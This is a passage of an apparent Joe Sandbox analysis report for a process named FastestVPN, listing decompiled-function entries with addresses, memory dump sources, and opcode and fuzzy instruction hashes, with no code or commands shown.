                                                                                                                      • Instruction ID: 2c5302e96d99d56de6689519a5d13a407e513a8b858bb574a47bbff8c546a702
                                                                                                                      • Opcode Fuzzy Hash: 227120cb8a8c28ecb2edfacdc5d420c1bdfc39d9e02c6a8f20e7037078f05e71
                                                                                                                      • Instruction Fuzzy Hash: 0B514D74B002149FDB18AF64D858AAEBBA7EFC9701F148469E80AD7390CF359D518FA1
                                                                                                                      Function 0B48AC0F Relevance: .2, Instructions: 174COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: faaad2cdd260176ee7e39ff8ea768a85d46df2997983fa3a7b29adef2d4e42e4
                                                                                                                      • Instruction ID: 7b1ef3666bef007fad7a073b8da49d3f9dba244333d49cd0fcc874ec3909c977
                                                                                                                      • Opcode Fuzzy Hash: faaad2cdd260176ee7e39ff8ea768a85d46df2997983fa3a7b29adef2d4e42e4
                                                                                                                      • Instruction Fuzzy Hash: 58518030B042058FDB25AA75C44422FB7F3EBC9642F14886BD516CB355EBB8DA86C791
                                                                                                                      Function 0B4BE568 Relevance: .2, Instructions: 170COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0ae7f7e1c63b1874059c39b9d3e7b2f8e94edf2cde9aab7561ed2a2474d97aa7
                                                                                                                      • Instruction ID: 4bb947fa7a489410a9bcc8651185efa0e19818ae4c02b1094aa55a1f7daccc5f
                                                                                                                      • Opcode Fuzzy Hash: 0ae7f7e1c63b1874059c39b9d3e7b2f8e94edf2cde9aab7561ed2a2474d97aa7
                                                                                                                      • Instruction Fuzzy Hash: 00611674A012049FDB14DFA9D884AAEBBF2FFC9710F14846EE506A7351DB359942CB60
                                                                                                                      Function 0B4B3060 Relevance: .2, Instructions: 169COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a2af5df1eeab92f346e44614ba5b407662bfca94509b36c5454579260dad1d5e
                                                                                                                      • Instruction ID: e884c9dbec176b3eb9454ded33116d82c62191e9ffa0428d1eaa8b3a6471eff1
                                                                                                                      • Opcode Fuzzy Hash: a2af5df1eeab92f346e44614ba5b407662bfca94509b36c5454579260dad1d5e
                                                                                                                      • Instruction Fuzzy Hash: 8661B5B4E002598FDB54CFA9D880A9EBBF6FF88310F10456AE919EB314D731D952CB60
                                                                                                                      Function 0B48DB00 Relevance: .2, Instructions: 168COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8a26047248f7dd08c87149c84d866bc923ff94d8762477c931a1f10a736a6252
                                                                                                                      • Instruction ID: 52af94aa059f4889abd7df50608ae124b15f0f3dfa05286e14502d7ba0b087a1
                                                                                                                      • Opcode Fuzzy Hash: 8a26047248f7dd08c87149c84d866bc923ff94d8762477c931a1f10a736a6252
                                                                                                                      • Instruction Fuzzy Hash: CC714670A013059FCB15DF68C484A9ABBF2FF89304B24C5AED4199B362D770ED86CB90
                                                                                                                      Function 0B4B3030 Relevance: .2, Instructions: 167COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0adf7704522edf14ce1b79c068524ddae8582f516149ce187add323ff20d0eb4
                                                                                                                      • Instruction ID: 81a052686dfa68082f751702e16935d1f74958c58b4c269479e5d36b4ddeaa9c
                                                                                                                      • Opcode Fuzzy Hash: 0adf7704522edf14ce1b79c068524ddae8582f516149ce187add323ff20d0eb4
                                                                                                                      • Instruction Fuzzy Hash: 99612774A003598FCB55CFA9D880A9EBBF6FF89300B15406AE909EB355E7309D42CB60
                                                                                                                      Function 0B4B3240 Relevance: .2, Instructions: 166COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e2d68c524d3fc7a166ffda59e47ffd04011ce05354ebf7792fc5381b9527446a
                                                                                                                      • Instruction ID: 17770c85796232d45c5d3ccc3fc397edbbc85808e0501b05e3761e0b264141e7
                                                                                                                      • Opcode Fuzzy Hash: e2d68c524d3fc7a166ffda59e47ffd04011ce05354ebf7792fc5381b9527446a
                                                                                                                      • Instruction Fuzzy Hash: 7A619C31600756CFDB25CF6AC580AABBBF2FF84601F04866AD905C7351DB70EA49CBA1
                                                                                                                      Function 0B4B2460 Relevance: .2, Instructions: 164COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4a65e7ff7fef21f753f83ae45b7d65829f32d254fe7750ed048d1c08c93cd6da
                                                                                                                      • Instruction ID: 235271676e6ea6c29f9aad883054325417e0d0a12a2ea5950a426574b7f05efa
                                                                                                                      • Opcode Fuzzy Hash: 4a65e7ff7fef21f753f83ae45b7d65829f32d254fe7750ed048d1c08c93cd6da
                                                                                                                      • Instruction Fuzzy Hash: F251F331A00341AFDB25DB28D844F9BBBF2FF85311B1448AAD5198B742C730E981CBA0
                                                                                                                      Function 0B4BA960 Relevance: .2, Instructions: 162COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4aa84fe13aedcf85aa2c704c606b36a0c83b806c3949849814f0296a096cac41
                                                                                                                      • Instruction ID: 4b31711ce582437b5902beb48e70272e34d3e5eb5ada2b543d7df8f38c6df0c6
                                                                                                                      • Opcode Fuzzy Hash: 4aa84fe13aedcf85aa2c704c606b36a0c83b806c3949849814f0296a096cac41
                                                                                                                      • Instruction Fuzzy Hash: 1D61BF75A00305DFCB05DF68D48499EBBF2FF89314B2586A9D4498B326DB31ED46CBA0
                                                                                                                      Function 0B4BFBD0 Relevance: .2, Instructions: 158COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6362d576c853a88fc0c500bb2d20e3f7aedd56dc83f0e2b302bc1ce3c18b4aea
                                                                                                                      • Instruction ID: b4e1234137e2c04fb371cc96e37bd8a94a0f9261ed9bcba1720d117a44906d12
                                                                                                                      • Opcode Fuzzy Hash: 6362d576c853a88fc0c500bb2d20e3f7aedd56dc83f0e2b302bc1ce3c18b4aea
                                                                                                                      • Instruction Fuzzy Hash: 7251FE75B002049FCB58DF69E894A6AB7EAEBC8310B25C529E90AD7354DF319D06CB90
                                                                                                                      Function 0B48D1B9 Relevance: .2, Instructions: 151COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2530b899af0eeef4cefd91e2eb339bbd1171ddb759736dbd8cbd6d29675a8322
                                                                                                                      • Instruction ID: 546f723a2603f0ceef89064f2f94492c61b77843b1c7d220fdbd74210c0be92d
                                                                                                                      • Opcode Fuzzy Hash: 2530b899af0eeef4cefd91e2eb339bbd1171ddb759736dbd8cbd6d29675a8322
                                                                                                                      • Instruction Fuzzy Hash: D0514B75A01205DFDB15DF64D484A9EBBB2FF89310F1985A9E8059B3A2CB31EC81CB50
                                                                                                                      Function 0B4BE562 Relevance: .1, Instructions: 149COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 7acb871d8339cd616f9b01fc334cd6eec75c9d7e2371c06c2f0a7ed112b289c8
                                                                                                                      • Instruction ID: dd715c7438a5edc7a98099ca56ef8fa90271fcf2cc94aa71f79f33c6b23c4798
                                                                                                                      • Opcode Fuzzy Hash: 7acb871d8339cd616f9b01fc334cd6eec75c9d7e2371c06c2f0a7ed112b289c8
                                                                                                                      • Instruction Fuzzy Hash: 59515834A002049FDB15DF69D884AAEBBF3FFC9710F14846EE50AA7395DB359942CB60
                                                                                                                      Function 0B51C768 Relevance: .1, Instructions: 147COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 61bf7b1fcfea2508804cf75499c2a4f29835210173e6beac617083fc70484d3c
                                                                                                                      • Instruction ID: 1d41e1b6bc98653f8b55a07dd6421f2cde0a7253e8d9c6fcee3a8f2c5ff6573b
                                                                                                                      • Opcode Fuzzy Hash: 61bf7b1fcfea2508804cf75499c2a4f29835210173e6beac617083fc70484d3c
                                                                                                                      • Instruction Fuzzy Hash: 03516A75A807069FE714EF68D454A6EBBE3FFC8210B148A68D0169B740EF76A815CF81
                                                                                                                      Function 0B48D1C8 Relevance: .1, Instructions: 145COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b9a231f851e24c510a63dbe68415f53fec59ebc88dbb83f183808e03c921e5fb
                                                                                                                      • Instruction ID: ebe5d81cc6aa7b940c748c913f14b99e146067ecbac381a05721ba734d792749
                                                                                                                      • Opcode Fuzzy Hash: b9a231f851e24c510a63dbe68415f53fec59ebc88dbb83f183808e03c921e5fb
                                                                                                                      • Instruction Fuzzy Hash: 2E513A75A01205DFDB15DF64C484A9EBBF2FF89310F1585A9E805AB3A2DB31ED81CB50
                                                                                                                      Function 0B4B1AA0 Relevance: .1, Instructions: 142COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 484de3ec330d443d566a9416043f5f5efdb89eb0162327dacc292b739e1d9afb
                                                                                                                      • Instruction ID: 3eecb98097dbc6dfbae41ac941fba8ae4022a48dcaad0e138ff3d84dad1b4b58
                                                                                                                      • Opcode Fuzzy Hash: 484de3ec330d443d566a9416043f5f5efdb89eb0162327dacc292b739e1d9afb
                                                                                                                      • Instruction Fuzzy Hash: 8541D5303287419FD7250B6A8420FABB7F7AF85A50F24481BD757E3344EB24DA528774
                                                                                                                      Function 0B4B5CE8 Relevance: .1, Instructions: 142COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e050754bae7d434bdfff91e05b267eaff39c1142fb0b74c91e9e47e5c0feac96
                                                                                                                      • Instruction ID: 4e34778ab0ed9101fd46457bbd0cbd2b44d69e13f5ae9548456884c02d664838
                                                                                                                      • Opcode Fuzzy Hash: e050754bae7d434bdfff91e05b267eaff39c1142fb0b74c91e9e47e5c0feac96
                                                                                                                      • Instruction Fuzzy Hash: B6510374E006589FDB15CFA9C894E9EFBF2BF48300F05855AE849AB761D770E981CB50
                                                                                                                      Function 0B48B520 Relevance: .1, Instructions: 140COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c3d011bc345d1356534606d769b7eb4af3b95c6c9e5104baa340a9f6e57bdb15
                                                                                                                      • Instruction ID: 3e7fc08416de38876d19ec1e80fb274b04e2c4e041bf292530b0358ffebe4ca6
                                                                                                                      • Opcode Fuzzy Hash: c3d011bc345d1356534606d769b7eb4af3b95c6c9e5104baa340a9f6e57bdb15
                                                                                                                      • Instruction Fuzzy Hash: C4419F347002158FCB14EB39D890A6EBBF6FFC9A5071484AAD509DB365DB31ED06CB91
                                                                                                                      Function 0B51D740 Relevance: .1, Instructions: 140COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: efeaac0afe925ed89a30e6b5387725f565ee3129d85e9bb60187ff9bcb48121b
                                                                                                                      • Instruction ID: 77199995e14f01328f45447fc27dac27358baf017afc56fb81072805aae4f4b4
                                                                                                                      • Opcode Fuzzy Hash: efeaac0afe925ed89a30e6b5387725f565ee3129d85e9bb60187ff9bcb48121b
                                                                                                                      • Instruction Fuzzy Hash: EF510571E006048FEB15DFACC480ADDBBF6BF89220B1585A5E425AB3A1D730ED45CF60
                                                                                                                      Function 0B51400A Relevance: .1, Instructions: 137COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 1bfe81bcb771eca6932cf438e40765876ad338fc70fbac4b6cbe7cffc98ac07b
                                                                                                                      • Instruction ID: 870bd6bfaf708dd637a3a4b7df27be9662468381f09764d16621b045dde46bb0
                                                                                                                      • Opcode Fuzzy Hash: 1bfe81bcb771eca6932cf438e40765876ad338fc70fbac4b6cbe7cffc98ac07b
                                                                                                                      • Instruction Fuzzy Hash: DC518C31A042559FEB12CF64C881AAABBF2FF55320F1589D9E455DB3A2C730E944CF90
                                                                                                                      Function 0B51E108 Relevance: .1, Instructions: 134COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: dd3b5f2f5926290db5ee60835eabda943f255a71a5aa8e00dc4aa9e3dec3f5bf
                                                                                                                      • Instruction ID: d3209f5e163606ee89eee577535ef3e92dee127f21cde0978ea12bdea6fb23d5
                                                                                                                      • Opcode Fuzzy Hash: dd3b5f2f5926290db5ee60835eabda943f255a71a5aa8e00dc4aa9e3dec3f5bf
                                                                                                                      • Instruction Fuzzy Hash: A051AF31B007019FEB25AF64E855A6EBBF3FFC8300F10492DD85697694DB31A90ADB91
                                                                                                                      Function 0B5165D0 Relevance: .1, Instructions: 130COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 23037754d4ab774bb94ec4c0703d2507c2931651a965aab4e238509039d45078
                                                                                                                      • Instruction ID: 487f232044614195e952c5085bad746b3c2e4e26b8551dfd6653b3683a7aaed5
                                                                                                                      • Opcode Fuzzy Hash: 23037754d4ab774bb94ec4c0703d2507c2931651a965aab4e238509039d45078
                                                                                                                      • Instruction Fuzzy Hash: F2414C79704121CFFB08AF28E15482D3BE2BB896413410DEDE5678B395DF64DE42CB60
                                                                                                                      Function 0B48AAF0 Relevance: .1, Instructions: 124COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6071f7997e85483588857fc8797c6298d645194403643ced1fd2306e1a697946
                                                                                                                      • Instruction ID: c7eb87774d4393cca7b70b286a2465b222df4e1eee1dd556f39ce2614fd5f55f
                                                                                                                      • Opcode Fuzzy Hash: 6071f7997e85483588857fc8797c6298d645194403643ced1fd2306e1a697946
                                                                                                                      • Instruction Fuzzy Hash: 063106327042504FDB25AB6CA4847AFBBD7EF8966070480BBE349CB321D662DC42C791
                                                                                                                      Function 0B48CCD8 Relevance: .1, Instructions: 122COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c8c7fe19d71a26fd317c287dfbdd3d4416fcea773961d9fac4bc739fe38ba090
                                                                                                                      • Instruction ID: b8e60a88720dde7f06c76011ff5ad5c336fb02b32e936afffc020bc431649d82
                                                                                                                      • Opcode Fuzzy Hash: c8c7fe19d71a26fd317c287dfbdd3d4416fcea773961d9fac4bc739fe38ba090
                                                                                                                      • Instruction Fuzzy Hash: CD4171317006148FC714EF6DC98496BBBF6FF89611B1584AAD909CB362DB30ED42CBA1
                                                                                                                      Function 0B517199 Relevance: .1, Instructions: 120COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0c50c668684bd753069fe448ccedb19ab91f49b2d5d90ed32cba5a8df47dc4aa
                                                                                                                      • Instruction ID: 4c17c1b3770bd43c06a6eb55547530bdcd50dbe1b1299b57076949095cedd723
                                                                                                                      • Opcode Fuzzy Hash: 0c50c668684bd753069fe448ccedb19ab91f49b2d5d90ed32cba5a8df47dc4aa
                                                                                                                      • Instruction Fuzzy Hash: 2B41AC71B006189FEB11DFA9D490ADEBBF2FF88310F1085AAE415AB355DB35AD05CB90
                                                                                                                      Function 0B485E00 Relevance: .1, Instructions: 119COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b1a328eceaede12a887cfc05ead947ce1aa993fb79bf9fbfffa35a5fc40f94d4
                                                                                                                      • Instruction ID: 48cc2d8bb0617e6e6097cef533363e9e4043943f71b924ac0df5c92a6cf56d35
                                                                                                                      • Opcode Fuzzy Hash: b1a328eceaede12a887cfc05ead947ce1aa993fb79bf9fbfffa35a5fc40f94d4
                                                                                                                      • Instruction Fuzzy Hash: 814179347042008FC759EB38D054A2A7BE3AFD864532188ADE606CF3A6DB31DD02CB91
                                                                                                                      Function 0B51BB08 Relevance: .1, Instructions: 119COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2a3d5ed4b0be7e8a1b63f53178dc5f8053a74210e1bb1c49f0295164b9bc75b7
                                                                                                                      • Instruction ID: df4c3f5da6d54a0a94326acf2a01af7c319cd044d5e6e09bf668280bb5f268d3
                                                                                                                      • Opcode Fuzzy Hash: 2a3d5ed4b0be7e8a1b63f53178dc5f8053a74210e1bb1c49f0295164b9bc75b7
                                                                                                                      • Instruction Fuzzy Hash: 93419C74A102168FEB04DF64D994E6E7BF2BF8C704F1184AAE802AB3A4DB719C05DF50
                                                                                                                      Function 0B5151B0 Relevance: .1, Instructions: 119COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5daae8beeef920300fa249a3280f73dc514ec02b33a421a451b6e16ca36a0f7a
                                                                                                                      • Instruction ID: d68cd8e635a53c917e02fbc8040c26584370b9750c4fcc97aabd84374209f433
                                                                                                                      • Opcode Fuzzy Hash: 5daae8beeef920300fa249a3280f73dc514ec02b33a421a451b6e16ca36a0f7a
                                                                                                                      • Instruction Fuzzy Hash: 1A4136313006008FE718CF69E488E2AB7F6FF99610B1449A9E55ACB776DB34EC81CB50
                                                                                                                      Function 0B4BE7DE Relevance: .1, Instructions: 110COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 935b265f3bb7ef2c7457dbcf1d40591644bb111f10feac125ff562f535e78ae9
                                                                                                                      • Instruction ID: 16f57e76de7164baceefe3a00a9b7a494da38b69577b8be9dd2554afcc328d16
                                                                                                                      • Opcode Fuzzy Hash: 935b265f3bb7ef2c7457dbcf1d40591644bb111f10feac125ff562f535e78ae9
                                                                                                                      • Instruction Fuzzy Hash: 3D413B35A00614DFCB45DF58E198CAEBBB6FF88311706859AE51987362C734EE06CBA1
                                                                                                                      Function 0B5171A8 Relevance: .1, Instructions: 110COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4d0d0d9959c4008c5a7484af01b74836ce5d67fc9f336ff2a79b160f10397693
                                                                                                                      • Instruction ID: e8ff2ac218605994cc8d407e3fb1e54a47a43148e7d61945dccc49f1d6eb4844
                                                                                                                      • Opcode Fuzzy Hash: 4d0d0d9959c4008c5a7484af01b74836ce5d67fc9f336ff2a79b160f10397693
                                                                                                                      • Instruction Fuzzy Hash: 1A418D71B002099FEB15DFA9D4909DEBBF2FF88710F10856AE815AB354DB35AD05CB90
                                                                                                                      Function 0B4BE840 Relevance: .1, Instructions: 106COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
